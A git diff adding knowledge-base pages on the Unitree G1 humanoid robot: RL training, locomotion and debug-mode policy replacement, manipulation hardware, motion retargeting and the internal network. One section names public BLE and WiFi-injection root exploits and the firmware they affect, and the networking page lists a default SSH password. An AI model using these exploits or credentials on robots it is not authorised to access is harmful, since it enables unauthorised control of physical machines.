enhances robustness. See [[push-recovery-balance]]. + +## 6. Residual Policy Learning + +Training a small correction policy on top of an existing base controller: [T1 — Established technique] + +``` +a_final = a_base + α * a_residual (α ∈ [0, 1] for safety scaling) +``` + +- **Base policy:** Stock G1 controller or a pre-trained locomotion policy +- **Residual policy:** Small network trained to improve specific behavior (e.g., push recovery) +- **Scaling factor α:** Limits maximum deviation from base behavior + +**Use case for G1:** Enhance the stock controller's push recovery without replacing it entirely. Train the residual in simulation with perturbation curriculum, deploy as an overlay. See [[push-recovery-balance]] §3b. + +## 7. Perturbation Curriculum + +Training RL policies with progressively increasing external disturbances: [T1 — Multiple G1 papers] + +``` +Stage 1: No perturbations (learn basic locomotion) +Stage 2: Small random pushes (10-30N, occasional) +Stage 3: Medium pushes (30-80N, more frequent) +Stage 4: Large pushes (80-200N) + terrain variation +Stage 5: Large pushes + concurrent upper-body task +``` + +This is the primary method for achieving the "always-on balance" goal. Papers arXiv:2505.20619 and arXiv:2511.07407 demonstrate this approach on real G1 hardware. See [[push-recovery-balance]] §3a for detailed parameters. + +## Key Relationships +- Trains in: [[simulation]] (MuJoCo, Isaac Lab, Isaac Gym) +- Deploys via: [[sdk-programming]] (unitree_sdk2 DDS interface) +- Controls: [[locomotion-control]] (RL-trained gait policies) +- Controls: [[manipulation]] (learned manipulation policies) +- Data from: [[manipulation]] (teleoperation → imitation learning) +- Enables: [[motion-retargeting]] (RL-based motion tracking policies) +- Enables: [[push-recovery-balance]] (perturbation curriculum, residual policies) +- Coordinated by: [[whole-body-control]] (WBC training frameworks) diff --git a/context/locomotion-control.md b/context/locomotion-control.md new file mode 100644 index 0000000..e0a5612 --- /dev/null +++ b/context/locomotion-control.md @@ -0,0 +1,200 @@ +--- +id: locomotion-control +title: "Locomotion & Balance Control" +status: established +source_sections: "reference/sources/paper-gait-conditioned-rl.md, reference/sources/paper-getting-up-policies.md, reference/sources/official-product-page.md" +related_topics: [joint-configuration, sensors-perception, equations-and-bounds, learning-and-ai, safety-limits, whole-body-control, push-recovery-balance, motion-retargeting] +key_equations: [zmp, com, inverse_dynamics] +key_terms: [gait, state_estimation, gait_conditioned_rl, curriculum_learning, sim_to_real] +images: [] +examples: [] +open_questions: + - "Exact RL policy observation/action space dimensions" + - "How to replace the stock locomotion policy with a custom one" + - "Stair climbing capability and limits" + - "Running gait availability (H1-2 can run at 3.3 m/s — can G1?)" +--- + +# Locomotion & Balance Control + +Walking, balance, gait generation, and whole-body control for bipedal locomotion. + +## 1. Control Architecture + +The G1 uses a reinforcement-learning-based locomotion controller running on the proprietary locomotion computer. Users interact with it via high-level commands; the low-level balance and gait control is handled internally. [T1 — Confirmed from RL papers and developer docs] + +``` +User Commands (high-level API) + │ + ▼ +┌─────────────────────────┐ +│ Locomotion Computer │ (192.168.123.161, proprietary) +│ │ +│ RL Policy (gait- │ ← IMU, joint encoders (500 Hz) +│ conditioned, multi- │ +│ phase curriculum) │ +│ │ +│ Motor Commands ─────────┼──→ Joint Actuators +└─────────────────────────┘ +``` + +### Key Architecture Details + +- **Framework:** Gait-conditioned reinforcement learning with multi-phase curriculum (arXiv:2505.20619) [T1] +- **Gait switching:** One-hot gait ID enables dynamic switching between gaits [T1] +- **Reward design:** Gait-specific reward routing mechanism with biomechanically inspired shaping [T1] +- **Training:** Policies trained in simulation (Isaac Gym / MuJoCo), transferred to physical hardware [T1] +- **Biomechanical features:** Straight-knee stance promotion, coordinated arm-leg swing, natural motion without motion capture data [T1] + +## 2. Gait Modes + +| Mode | Description | Verified | Tier | +|-------------------|------------------------------------------|----------|------| +| Standing | Static balance, all feet grounded | Yes | T1 | +| Walking | Dynamic bipedal walking | Yes | T1 | +| Walk-to-stand | Smooth transition from walking to standing | Yes | T1 | +| Stand-to-walk | Smooth transition from standing to walking | Yes | T1 | + +[T1 — Validated in arXiv:2505.20619 on real G1 hardware] + +## 3. Performance + +| Metric | Value | Notes | Tier | +|--------------------------|-----------------|--------------------------------------|------| +| Maximum walking speed | 2.0 m/s | 7.2 km/h | T0 | +| Verified terrain | Tile, concrete, carpet | Office-environment surfaces | T1 | +| Balance recovery | Light push recovery | Stable recovery from perturbations | T1 | +| Gait transition | Smooth | No abrupt mode switches | T1 | + +For comparison, the H1-2 (larger Unitree humanoid) achieves 3.3 m/s running. Whether the G1 has a running gait is unconfirmed. [T3] + +## 4. Balance Control + +The RL-based locomotion policy implicitly handles balance through learned behavior rather than explicit ZMP or capture-point controllers: [T1] + +- **Inputs:** IMU data (orientation, angular velocity), joint encoder feedback (position, velocity), gait command +- **Outputs:** Target joint positions/torques for all leg joints +- **Rate:** 500 Hz control loop +- **Learned behaviors:** Center-of-mass tracking, foot placement, push recovery, arm counterbalancing + +While classical bipedal control uses explicit ZMP constraints (see [[equations-and-bounds]]), the G1's RL policy learns these constraints implicitly during training. + +For deep coverage of enhanced push recovery, perturbation training, and always-on balance architectures, see [[push-recovery-balance]]. + +## 5. Fall Recovery + +Multiple research approaches have been validated on the G1: [T1 — Research papers] + +- **Two-stage RL:** Supine and prone recovery policies (arXiv:2502.12152) — overcome limitations of hand-crafted controllers +- **HoST framework:** Multi-critic RL with curriculum training for diverse posture recovery (arXiv:2502.08378) +- **Unified fall-safety:** Combined fall prevention + impact mitigation + recovery from sparse demonstrations (arXiv:2511.07407) — zero-shot sim-to-real transfer + +## 6. Terrain Adaptation + +| Terrain Type | Status | Notes | Tier | +|-------------------|-------------|-------------------------------------|------| +| Flat tile | Verified | Standard office floor | T1 | +| Concrete | Verified | Indoor/outdoor flat surfaces | T1 | +| Carpet | Verified | Standard office carpet | T1 | +| Stairs | Unconfirmed | Research papers suggest capability | T4 | +| Rough terrain | Sim only | Trained in sim, real-world unconfirmed | T3 | +| Slopes | Unconfirmed | — | T4 | + +## 7. User Control Interface + +Users control locomotion through the high-level sport mode API: [T0] + +- **Velocity commands:** Set forward/lateral velocity and yaw rate +- **Posture commands:** Stand, sit, lie down +- **Attitude adjustment:** Modify body orientation +- **Trajectory tracking:** Follow waypoint sequences + +Low-level joint control is also possible (bypassing the locomotion controller) but requires the user to implement their own balance control. This is advanced and carries significant fall risk. [T2] + +## 8. Locomotion Computer Internals + +The locomotion computer is a **Rockchip RK3588** (8-core ARM Cortex-A76/A55, 8GB LPDDR4X, 32GB eMMC) running Linux kernel 5.10.176-rt86+ (real-time patched). [T1 — Security research papers arXiv:2509.14096, arXiv:2509.14139] + +### Software Architecture + +A centralized `master_service` orchestrator (9.2 MB binary) supervises **26 daemons**: [T1] + +| Daemon | Role | Resource Usage | +|---|---|---| +| `ai_sport` | Primary locomotion/balance policy | 145% CPU, 135 MB RAM | +| `state_estimator` | IMU + encoder fusion | ~30% CPU | +| `motion_switcher` | Gait mode management | — | +| `robot_state_service` | State broadcasting | — | +| `dex3_service_l/r` | Left/right hand control | — | +| `webrtc_bridge` | Video streaming | — | +| `ros_bridge` | ROS2 interface | — | +| Others | OTA, BLE, WiFi, telemetry, etc. | — | + +The `ai_sport` daemon is the stock RL policy. When you enter debug mode (L2+R2), this daemon is shut down, allowing direct motor control via `rt/lowcmd`. + +Configuration files use proprietary **FMX encryption** (Blowfish-ECB + LCG stream cipher with static keys). This has been partially reverse-engineered by security researchers but not fully cracked. [T1] + +### Can You Access the Locomotion Computer? + +**Root access is technically possible** via known BLE exploits (UniPwn, FreeBOT jailbreak), but **no one has publicly documented deploying a custom policy to it**: [T1] + +| Method | Status | Notes | +|---|---|---| +| SSH from network | Blocked | No SSH server exposed by default | +| FreeBOT jailbreak (app WiFi field injection) | Works on firmware ≤1.6.0 | Patched Oct 2025 | +| UniPwn BLE exploit (Bin4ry/UniPwn on GitHub) | Works on unpatched firmware | Hardcoded AES keys + command injection | +| RockUSB physical flash | Blocked by SecureBoot on G1 | Works on Go2 only | +| Replacing `ai_sport` binary after root | **Not documented** | Nobody has published doing this | +| Extracting stock policy weights | **Not documented** | Binary analysis not published | + +**Bottom line:** Getting root on the RK3588 is solved. Getting a custom locomotion policy running natively on it is not — the `master_service` orchestrator, FMX encryption, and lack of documentation are barriers nobody has publicly overcome. [T1] + +### How Every Research Group Actually Deploys + +All published research (BFM-Zero, gait-conditioned RL, fall recovery, etc.) uses the same approach: [T1] + +1. Enter debug mode (L2+R2) — shuts down `ai_sport` +2. Run custom policy on the **Jetson Orin NX** or an external computer +3. Read `rt/lowstate`, compute actions, publish `rt/lowcmd` via DDS +4. Motor commands travel over the internal DDS network to the RK3588, which passes them to motor drivers + +This works but has inherent limitations: +- DDS network latency (~2ms round trip) vs. native on-board execution +- No access to the RK3588's real-time Linux kernel guarantees +- Policy frequency limited by DDS throughput and compute (typically 200-500 Hz from Jetson) + +## 9. Custom Policy Replacement (Practical) + +### When to Replace +- You need whole-body coordination (mocap + balance) +- You need push recovery beyond what the stock controller provides +- You want to run a custom RL policy trained with perturbation curriculum + +### How to Replace (Debug Mode) +1. Suspend robot on stand or harness +2. Enter damping state, press **L2+R2** — `ai_sport` shuts down +3. Send `MotorCmd_` messages on `rt/lowcmd` from Jetson or external PC +4. Read `rt/lowstate` for joint positions, velocities, and IMU data +5. Publish at 500 Hz for smooth control (C++ recommended over Python for lower latency) +6. **To exit debug mode: reboot the robot** (no other way) + +### Risks +- **Fall risk:** If your policy fails, the robot falls immediately — no stock controller safety net +- **Hardware damage:** Incorrect joint commands can damage actuators +- **Always test in simulation first** (see [[simulation]]) + +### Alternative: Residual Overlay +Instead of full replacement, train a residual policy that adds small corrections to the stock controller output. See [[push-recovery-balance]] for details. + +### WBC Frameworks +For coordinated whole-body control (balance + task), see [[whole-body-control]], particularly GR00T-WBC which is designed for exactly this use case on G1. + +## Key Relationships +- Uses: [[joint-configuration]] (leg joints as actuators, 500 Hz commands) +- Uses: [[sensors-perception]] (IMU + encoders for state estimation) +- Trained via: [[learning-and-ai]] (RL training pipeline) +- Bounded by: [[equations-and-bounds]] (ZMP, joint limits) +- Governed by: [[safety-limits]] (fall detection, torque limits) +- Extended by: [[push-recovery-balance]] (enhanced perturbation robustness) +- Coordinated by: [[whole-body-control]] (WBC for combined loco-manipulation) +- Enables: [[motion-retargeting]] (balance during mocap playback) diff --git a/context/manipulation.md b/context/manipulation.md new file mode 100644 index 0000000..622f1fd --- /dev/null +++ b/context/manipulation.md @@ -0,0 +1,126 @@ +--- +id: manipulation +title: "Manipulation & Grasping" +status: established +source_sections: "reference/sources/official-product-page.md, reference/sources/official-dex-hand.md, reference/sources/github-xr-teleoperate.md" +related_topics: [joint-configuration, sensors-perception, sdk-programming, learning-and-ai] +key_equations: [] +key_terms: [dex3_1, inspire_hand, force_position_hybrid, tactile_sensor, teleoperation, xr_teleoperate] +images: [] +examples: [] +open_questions: + - "Arm workspace envelope and reachability maps" + - "Dex3-1 per-finger force limits" + - "Dex3-1 maximum grasp payload (500g claimed — verify)" + - "INSPIRE hand DOF and control details" +--- + +# Manipulation & Grasping + +Arm control, hand dexterity, grasping strategies, and manipulation capabilities. + +## 1. Arm Configuration + +Arm DOF varies by G1 variant (see [[joint-configuration]]): [T0] + +| Variant | Joints per Arm | Wrist Articulation | Notes | +|----------|---------------|--------------------|-----------------------| +| 23-DOF | 5 | 1-axis (yaw only) | Basic arm | +| 29/43-DOF | 7 | 3-axis (yaw+pitch+roll) | Articulated wrist | + +### Arm Payload + +| Variant | Payload per Arm | Source | Tier | +|------------|----------------|----------------------|------| +| Standard | 2 kg | Official spec sheet | T0 | +| EDU | 3 kg | Official spec sheet | T0 | + +## 2. End Effectors + +Three hand options are available depending on variant: [T0] + +### End Prosthetic Hand (Base Model) +- **Type:** Simplified gripper +- **DOF:** Minimal (open/close) +- **Use case:** Basic object handling +- **Available on:** G1 Standard + +### Dex3-1 Three-Fingered Dexterous Hand (EDU A/B) +| Property | Value | +|----------------------|--------------------------------------| +| Fingers | 3 (thumb, index, middle) | +| Total DOF per hand | 7 | +| Thumb DOF | 3 active | +| Index finger DOF | 2 active | +| Middle finger DOF | 2 active | +| Actuators | 6 micro brushless direct-drive + 1 gear-drive | +| Tactile sensors | 33 per hand | +| Control | Force-position hybrid | +| Grasp payload | Up to 500g (reported) [T2] | +| DDS command topic | `rt/dex3/(left\|right)/cmd` | +| DDS state topic | `rt/dex3/(left\|right)/state` | +| Message protocol | `unitree_hg` | + +**Capabilities:** Grasp bottles, tools, boxes; door handle manipulation; basic tool use; object sorting [T1] + +### INSPIRE DFX Dexterous Hand (EDU C / Flagship Version C) +- **Type:** Full 5-finger advanced dexterous hand +- **DOF:** Higher than Dex3-1 (exact count per finger not yet confirmed) +- **Features:** Enhanced precision manipulation +- **Compatibility:** ROS2 teleoperation systems, multi-hand configurations +- **Documentation:** https://support.unitree.com/home/en/G1_developer/inspire_dfx_dexterous_hand [T0] + +## 3. Grasping & Object Manipulation + +Demonstrated capabilities with Dex3-1 hand: [T1 — Videos and demos] + +- **Common objects:** Bottles, cups, tools, small boxes +- **Door manipulation:** Handle turning and door opening +- **Tool use:** Basic tool grasping and manipulation +- **Object sorting:** Pick-and-place operations + +Grasping is typically performed using: +1. Visual servoing via D435i depth camera +2. Force-controlled approach using tactile feedback +3. Compliant grasping via force-position hybrid control + +## 4. Whole-Body Manipulation (Loco-Manipulation) + +Coordinating locomotion with arm manipulation is an active research area: [T1 — Research papers] + +- **GR00T-WBC** (NVIDIA): Purpose-built whole-body control framework for G1 that separates locomotion (balance) from upper-body (manipulation) control. The recommended path for loco-manipulation. See [[whole-body-control]] for full details. +- **SoFTA framework** (arXiv: SoFTA paper): Slow-Fast Two-Agent RL decoupling upper and lower body with different execution frequencies for precise manipulation during locomotion +- **Safe control** (arXiv:2502.02858): Projected Safe Set Algorithm enforces limb-level geometric constraints for collision prevention during manipulation in cluttered environments + +The G1-D platform (wheeled variant) is specifically designed for manipulation tasks, with a mobile base providing stable platform support. [T0] + +### Mocap-Based Manipulation +Motion capture data can drive arm manipulation trajectories through the retargeting pipeline (see [[motion-retargeting]]). When combined with a whole-body controller (see [[whole-body-control]]), the robot can track human arm motions while maintaining balance — enabling demonstration-driven manipulation. [T1] + +## 5. Teleoperation for Data Collection + +Multiple teleoperation systems enable human demonstration collection: [T0 — GitHub repos] + +### XR Teleoperation (xr_teleoperate) +| Property | Value | +|-------------------|------------------------------------------| +| Repository | https://github.com/unitreerobotics/xr_teleoperate | +| Supported devices | Apple Vision Pro, PICO 4 Ultra, Meta Quest 3 | +| Control modes | Hand tracking, controller tracking | +| Display modes | Immersive, pass-through | +| Data recording | Built-in episode capture | +| G1 configurations | 29-DOF and 23-DOF | + +Supported end-effectors: Dex1-1, Dex3-1, INSPIRE hand, BrainCo hands + +### Kinect Teleoperation (kinect_teleoperate) +- Azure Kinect DK camera for body tracking +- MuJoCo 3.1.5 for visualization +- Safety "wake-up action" detection prevents accidental activation + +## Key Relationships +- Uses: [[joint-configuration]] (arm + hand joints, DOF varies by variant) +- Uses: [[sensors-perception]] (D435i for visual servoing, tactile for contact) +- Controlled via: [[sdk-programming]] (DDS topics for hand control) +- May use: [[learning-and-ai]] (learned manipulation and loco-manipulation policies) +- Data collection: [[learning-and-ai]] (teleoperation → imitation learning) diff --git a/context/motion-retargeting.md b/context/motion-retargeting.md new file mode 100644 index 0000000..b736af3 --- /dev/null +++ b/context/motion-retargeting.md @@ -0,0 +1,268 @@ +--- +id: motion-retargeting +title: "Motion Capture & Retargeting" +status: established +source_sections: "reference/sources/paper-bfm-zero.md, reference/sources/paper-h2o.md, reference/sources/paper-omnih2o.md, reference/sources/paper-humanplus.md, reference/sources/dataset-amass-g1.md, reference/sources/github-groot-wbc.md, reference/sources/community-mocap-retarget-tools.md" +related_topics: [whole-body-control, joint-configuration, simulation, learning-and-ai, equations-and-bounds, push-recovery-balance] +key_equations: [inverse_kinematics, kinematic_scaling] +key_terms: [motion_retargeting, mocap, amass, smpl, kinematic_scaling, inverse_kinematics] +images: [] +examples: [] +open_questions: + - "What AMASS motions have been successfully replayed on physical G1?" + - "What is the end-to-end latency from mocap capture to robot execution?" + - "Which retargeting approach gives best visual fidelity on G1 (IK vs. RL)?" + - "Can video-based pose estimation (MediaPipe/OpenPose) provide sufficient accuracy for G1 retargeting?" +--- + +# Motion Capture & Retargeting + +Capturing human motion and replaying it on the G1, including the kinematic mapping problem, data sources, and execution approaches. + +## 1. The Retargeting Problem + +A human has ~200+ degrees of freedom (skeleton + soft tissue). The G1 has 23-43 DOF. Retargeting must solve three mismatches: [T1 — Established robotics problem] + +| Mismatch | Human | G1 (29-DOF) | Challenge | +|---|---|---|---| +| DOF count | ~200+ | 29 | Many human motions have no G1 equivalent | +| Limb proportions | Variable | Fixed (1.32m height, 0.6m legs, ~0.45m arms) | Workspace scaling needed | +| Joint ranges | Very flexible | Constrained (e.g., knee 0-165°, hip pitch ±154°) | Motions may exceed limits | +| Dynamics | ~70kg average | ~35kg, different mass distribution | Forces/torques don't scale linearly | + +### What Works Well on G1 +- Walking, standing, stepping motions +- Upper-body gestures (waving, pointing, reaching) +- Pick-and-place style manipulation +- Simple dance or expressive motions + +### What's Difficult or Impossible +- Motions requiring finger dexterity (without hands attached) +- Deep squats or ground-level motions (joint limit violations) +- Fast acrobatic motions (torque/speed limits) +- Motions requiring more DOF than available (e.g., spine articulation with 1-DOF waist) + +## 2. Retargeting Approaches + +### 2a. IK-Based Retargeting (Classical) + +Solve inverse kinematics to map human end-effector positions to G1 joint angles: [T1] + +``` +Pipeline: +Mocap data (human skeleton) → Extract key points (hands, feet, head, pelvis) + → Scale to G1 proportions → Solve IK per frame → Smooth trajectory + → Check joint limits → Execute or reject +``` + +**Tools:** +- **Pinocchio:** C++/Python rigid body dynamics with fast IK solver (see [[whole-body-control]]) +- **MuJoCo IK:** Built-in inverse kinematics in MuJoCo simulator +- **Drake:** MIT's robotics toolbox with optimization-based IK +- **IKPy / ikflow:** Lightweight Python IK libraries + +**Pros:** Fast, interpretable, no training required, deterministic +**Cons:** Frame-by-frame IK can produce jerky motions, doesn't account for dynamics/balance, may violate torque limits even if joint limits are satisfied + +### 2b. Optimization-Based Retargeting + +Solve a trajectory optimization over the full motion: [T1] + +``` +minimize Σ_t || FK(q_t) - x_human_t ||^2 (tracking error) + + Σ_t || q_t - q_{t-1} ||^2 (smoothness) +subject to q_min ≤ q_t ≤ q_max (joint limits) + CoM_t ∈ support_polygon_t (balance) + || tau_t || ≤ tau_max (torque limits) + no self-collision (collision avoidance) +``` + +**Tools:** CasADi, Pinocchio + ProxQP, Drake, Crocoddyl +**Pros:** Globally smooth, respects all constraints, can enforce balance +**Cons:** Slow (offline only), requires accurate dynamics model, problem formulation complexity + +### 2c. RL-Based Motion Tracking (Recommended for G1) + +Train an RL policy that imitates reference motions while maintaining balance: [T1 — Multiple papers validated on G1] + +``` +Pipeline: +Mocap data → Retarget to G1 skeleton (rough IK) → Use as reference + → Train RL policy in sim: reward = tracking + balance + energy + → Deploy on real G1 via sim-to-real transfer +``` + +This is the approach used by BFM-Zero, H2O, OmniH2O, and HumanPlus. The RL policy learns to: +- Track the reference motion as closely as possible +- Maintain balance even when the reference motion would be unstable +- Respect joint and torque limits naturally (they're part of the sim environment) +- Recover from perturbations (if trained with perturbation curriculum) + +**Key advantage:** Balance is baked into the policy — you don't need a separate balance controller. + +### Key RL Motion Tracking Frameworks + +| Framework | Paper | G1 Validated? | Key Feature | +|---|---|---|---| +| BFM-Zero | arXiv:2511.04131 | Yes | Zero-shot generalization to unseen motions, open-source | +| H2O | arXiv:2403.01623 | On humanoid (not G1 specifically) | Real-time teleoperation | +| OmniH2O | arXiv:2406.08858 | On humanoid | Multi-modal input (VR, RGB, mocap) | +| HumanPlus | arXiv:2406.10454 | On humanoid | RGB camera → shadow → imitate | +| GMT | Generic Motion Tracking | In sim | Tracks diverse AMASS motions | + +### 2d. Hybrid Approach: IK + WBC + +Use IK for the upper body, WBC for balance: [T1 — GR00T-WBC approach] + +``` +Mocap data → IK retarget (upper body only: arms, waist) + → Feed to GR00T-WBC as upper-body targets + → WBC locomotion policy handles legs/balance automatically + → Execute on G1 +``` + +This is likely the most practical near-term approach for the G1, using GR00T-WBC as the coordination layer. See [[whole-body-control]] for details. + +## 3. Motion Capture Sources + +### 3a. AMASS — Archive of Motion Capture as Surface Shapes +The largest publicly available human motion dataset: [T1] + +| Property | Value | +|---|---| +| Motions | 11,000+ sequences from 15 mocap datasets | +| Format | SMPL body model parameters | +| G1 retarget | Available on HuggingFace (unitree) — pre-retargeted | +| License | Research use (check individual sub-datasets) | + +**G1-specific:** Unitree has published AMASS motions retargeted to the G1 skeleton on HuggingFace. This provides ready-to-use reference trajectories for RL training or direct playback. + +### 3b. CMU Motion Capture Database +Classic academic motion capture archive: [T1] + +| Property | Value | +|---|---| +| Subjects | 144 subjects | +| Motions | 2,500+ sequences | +| Categories | Walking, running, sports, dance, interaction, etc. | +| Formats | BVH, C3D, ASF+AMC | +| License | Free for research | +| URL | mocap.cs.cmu.edu | + +### 3c. Real-Time Sources (Live Mocap) + +| Source | Device | Latency | Accuracy | G1 Integration | +|---|---|---|---|---| +| XR Teleoperate | Vision Pro, Quest 3, PICO 4 | Low (~50ms) | High (VR tracking) | Official (unitreerobotics/xr_teleoperate) | +| Kinect | Azure Kinect DK | Medium (~100ms) | Medium | Official (kinect_teleoperate) | +| MediaPipe | RGB camera | Low (~30ms) | Low-Medium | Community, needs retarget code | +| OpenPose | RGB camera | Medium | Medium | Community, needs retarget code | +| OptiTrack/Vicon | Marker-based system | Very low (~5ms) | Very high | Custom integration needed | + +For the user's goal (mocap → robot), the XR teleoperation system is the most direct path for real-time, while AMASS provides offline motion libraries. + +### 3d. Video-Based Pose Estimation +Extract human pose from standard RGB video without mocap hardware: [T2] + +- **MediaPipe Pose:** 33 landmarks, real-time on CPU, Google +- **OpenPose:** 25 body keypoints, GPU required +- **HMR2.0 / 4DHumans:** SMPL mesh recovery from single image — richer than keypoints +- **MotionBERT:** Temporal pose estimation from video sequences + +These are lower fidelity than marker-based mocap but require only a webcam. HumanPlus (arXiv:2406.10454) uses RGB camera input specifically for humanoid shadowing. + +## 4. The Retargeting Pipeline + +End-to-end pipeline from human motion to G1 execution: + +``` +┌─────────────┐ ┌──────────────┐ ┌───────────────┐ +│ Motion │ │ Skeleton │ │ Kinematic │ +│ Source │────►│ Extraction │────►│ Retargeting │ +│ (mocap/video)│ │ (SMPL/joints)│ │ (scale + IK) │ +└─────────────┘ └──────────────┘ └───────┬───────┘ + │ + ▼ +┌─────────────┐ ┌──────────────┐ ┌───────────────┐ +│ Execute on │ │ WBC / RL │ │ Feasibility │ +│ Real G1 │◄───│ Policy │◄───│ Check │ +│ (sdk2) │ │ (balance + │ │ (joint limits, │ +└─────────────┘ │ tracking) │ │ stability) │ + └──────────────┘ └───────────────┘ +``` + +### Step 1: Motion Source +- Offline: AMASS dataset, CMU mocap, recorded demonstrations +- Real-time: XR headset, Kinect, RGB camera + +### Step 2: Skeleton Extraction +- AMASS: Already in SMPL format, extract joint angles +- BVH/C3D: Parse standard mocap formats +- Video: Run pose estimator (MediaPipe, OpenPose, HMR2.0) +- Output: Human joint positions/rotations per frame + +### Step 3: Kinematic Retargeting +- Map human skeleton to G1 skeleton (limb length scaling) +- Solve IK for each frame or use direct joint angle mapping +- Handle DOF mismatch (project higher-DOF human motion to G1 subspace) +- Clamp to G1 joint limits (see [[equations-and-bounds]]) + +### Step 4: Feasibility Check +- Verify all joint angles within limits +- Check CoM remains within support polygon (static stability) +- Estimate required torques (inverse dynamics) — reject if exceeding actuator limits +- Check for self-collisions + +### Step 5: Execution Policy +- **Direct playback:** Send retargeted joint angles via rt/lowcmd (no balance guarantee) +- **WBC execution:** Feed to GR00T-WBC as upper-body targets, let locomotion policy handle balance +- **RL tracking:** Use trained motion tracking policy (BFM-Zero style) that simultaneously tracks and balances + +### Step 6: Deploy on Real G1 +- Via unitree_sdk2_python (prototyping) or unitree_sdk2 C++ (production) +- 500 Hz control loop, 2ms DDS latency +- Always validate in simulation first (see [[simulation]]) + +## 5. SMPL Body Model + +SMPL (Skinned Multi-Person Linear model) is the standard representation for human body shape and pose in mocap datasets: [T1] + +- **Parameters:** 72 pose parameters (24 joints x 3 rotations) + 10 shape parameters +- **Output:** 6,890 vertices mesh + joint locations +- **Extensions:** SMPL-X (hands + face), SMPL+H (hands) +- **Relevance:** AMASS uses SMPL, so retargeting from AMASS means mapping SMPL joints → G1 joints + +### SMPL to G1 Joint Mapping (Approximate) + +| SMPL Joint | G1 Joint(s) | Notes | +|---|---|---| +| Pelvis | Waist (yaw) | G1 has 1-3 waist DOF vs. SMPL's 3 | +| L/R Hip | left/right_hip_pitch/roll/yaw | Direct mapping, 3-DOF each | +| L/R Knee | left/right_knee | Direct mapping, 1-DOF | +| L/R Ankle | left/right_ankle_pitch/roll | Direct mapping, 2-DOF | +| L/R Shoulder | left/right_shoulder_pitch/roll/yaw | Direct mapping, 3-DOF | +| L/R Elbow | left/right_elbow | Direct mapping, 1-DOF | +| L/R Wrist | left/right_wrist_yaw(+pitch+roll) | 1-DOF (23-DOF) or 3-DOF (29-DOF) | +| Spine | Waist (limited) | SMPL has 3 spine joints, G1 has 1-3 waist | +| Head/Neck | — | G1 has no head/neck DOF | +| Fingers | Hand joints (if equipped) | Only with Dex3-1 or INSPIRE | + +## 6. Key Software & Repositories + +| Tool | Purpose | Language | License | +|---|---|---|---| +| GR00T-WBC | End-to-end WBC + retargeting for G1 | Python/C++ | Apache 2.0 | +| Pinocchio | Rigid body dynamics, IK, Jacobians | C++/Python | BSD-2 | +| xr_teleoperate | Real-time VR mocap → G1 | Python | Unitree | +| unitree_mujoco | Simulate retargeted motions | C++/Python | BSD-3 | +| smplx (Python) | SMPL body model processing | Python | MIT | +| rofunc | Robot learning from human demos + retargeting | Python | MIT | +| MuJoCo Menagerie | G1 model (g1.xml) for IK/simulation | MJCF | BSD-3 | + +## Key Relationships +- Requires: [[joint-configuration]] (target skeleton — DOF, joint limits, link lengths) +- Executed via: [[whole-body-control]] (WBC provides balance during playback) +- Stabilized by: [[push-recovery-balance]] (perturbation robustness during execution) +- Trained in: [[simulation]] (RL tracking policies trained in MuJoCo/Isaac) +- Training methods: [[learning-and-ai]] (RL, imitation learning frameworks) +- Bounded by: [[equations-and-bounds]] (joint limits, torque limits for feasibility) diff --git a/context/networking-comms.md b/context/networking-comms.md new file mode 100644 index 0000000..8fc62a1 --- /dev/null +++ b/context/networking-comms.md @@ -0,0 +1,118 @@ +--- +id: networking-comms +title: "Networking & Communications" +status: established +source_sections: "reference/sources/official-quick-start.md, reference/sources/official-developer-guide.md" +related_topics: [sdk-programming, ros2-integration, deployment-operations] +key_equations: [] +key_terms: [dds, cyclone_dds, domain_id, dual_computer_architecture, locomotion_computer, development_computer] +images: [] +examples: [] +open_questions: + - "WiFi 6 range and reliability in field conditions" + - "DDS QoS profile details and tuning" + - "WiFi AP exact SSID format and default password" + - "USB port availability and specs" +--- + +# Networking & Communications + +Network architecture, connectivity, remote access, and communication protocols. + +## 1. Network Architecture + +The G1 uses a fixed internal subnet with pre-assigned IP addresses: [T0 — Developer Guide] + +``` + 192.168.123.0/24 + │ + ┌─────────────────────┼──────────────────────┐ + │ │ │ +Locomotion Development LiDAR +Computer Computer (Livox MID360) +192.168.123.161 192.168.123.164 192.168.123.20 +(Proprietary) (Jetson Orin NX) (Ethernet) + │ │ + └──── CycloneDDS ─────┘ + (internal) +``` + +### IP Address Map + +| Device | IP Address | Access Level | +|----------------------|--------------------|--------------------| +| Locomotion Computer | 192.168.123.161 | Not user-accessible | +| Development Computer | 192.168.123.164 | User-accessible (SSH) | +| Livox MID360 LiDAR | 192.168.123.20 | Ethernet, driver required | +| External dev machine | 192.168.123.x | Via WiFi or Ethernet | + +## 2. Connectivity Options + +| Interface | Specification | Purpose | Tier | +|-------------|-------------------------|----------------------------------|------| +| WiFi | WiFi 6 (802.11ax) | Wireless development, remote control | T0 | +| Bluetooth | Bluetooth 5.2 | Peripheral connectivity | T0 | +| Ethernet | Wired connection | LiDAR, high-bandwidth data | T0 | +| USB | Available on dev computer| Camera (D435i), peripherals | T1 | + +## 3. DDS Configuration + +The entire communication stack is built on DDS (Data Distribution Service): [T0] + +| Property | Value | +|----------------------|--------------------------| +| Implementation | CycloneDDS | +| Version | 0.10.2 (exact match required) | +| Protocol | RTPS (Real-Time Publish-Subscribe) | +| Communication latency | 2 ms | +| Control loop rate | 500 Hz | + +### Domain ID + +The DDS domain ID controls which "network" of DDS participants can communicate: + +- **Real robot:** Use the robot's network interface (e.g., `enp2s0`, `wlan0`) +- **Simulation:** Use domain ID to separate simulated robot traffic from real +- **Switch:** Changing from sim to real only requires switching the network config (domain ID + interface) + +### Topic Architecture + +All robot communication uses DDS topics (see [[sdk-programming]] for full topic list): + +``` +Publishers (user) ──→ rt/lowcmd ──→ Locomotion Computer (motor commands) +Subscribers (user) ←── rt/lowstate ←── Locomotion Computer (robot state) +Publishers (user) ──→ rt/dex3/*/cmd ──→ Hand Controller (hand commands) +Subscribers (user) ←── rt/dex3/*/state ←── Hand Controller (hand state) +``` + +## 4. Remote Access + +- **SSH:** Connect to development computer: `ssh unitree@192.168.123.164` (password: `123`) [T1 — Weston Robot guide] +- **Data streaming:** DDS topics accessible from any machine on the 192.168.123.0/24 subnet [T0] +- **Camera streaming:** D435i frames accessible via RealSense SDK on dev computer [T1] +- **LiDAR data:** Point cloud data from Livox MID360 at 192.168.123.20 [T0] + +### Connecting an External Development Machine + +1. Connect to robot's WiFi network or plug into Ethernet +2. Configure machine's IP to 192.168.123.x (avoid .161, .164, .20) +3. Install CycloneDDS 0.10.2 and unitree_sdk2 +4. Subscribe to `rt/lowstate` to verify connectivity + +## 5. Latency Considerations + +| Path | Latency | Notes | 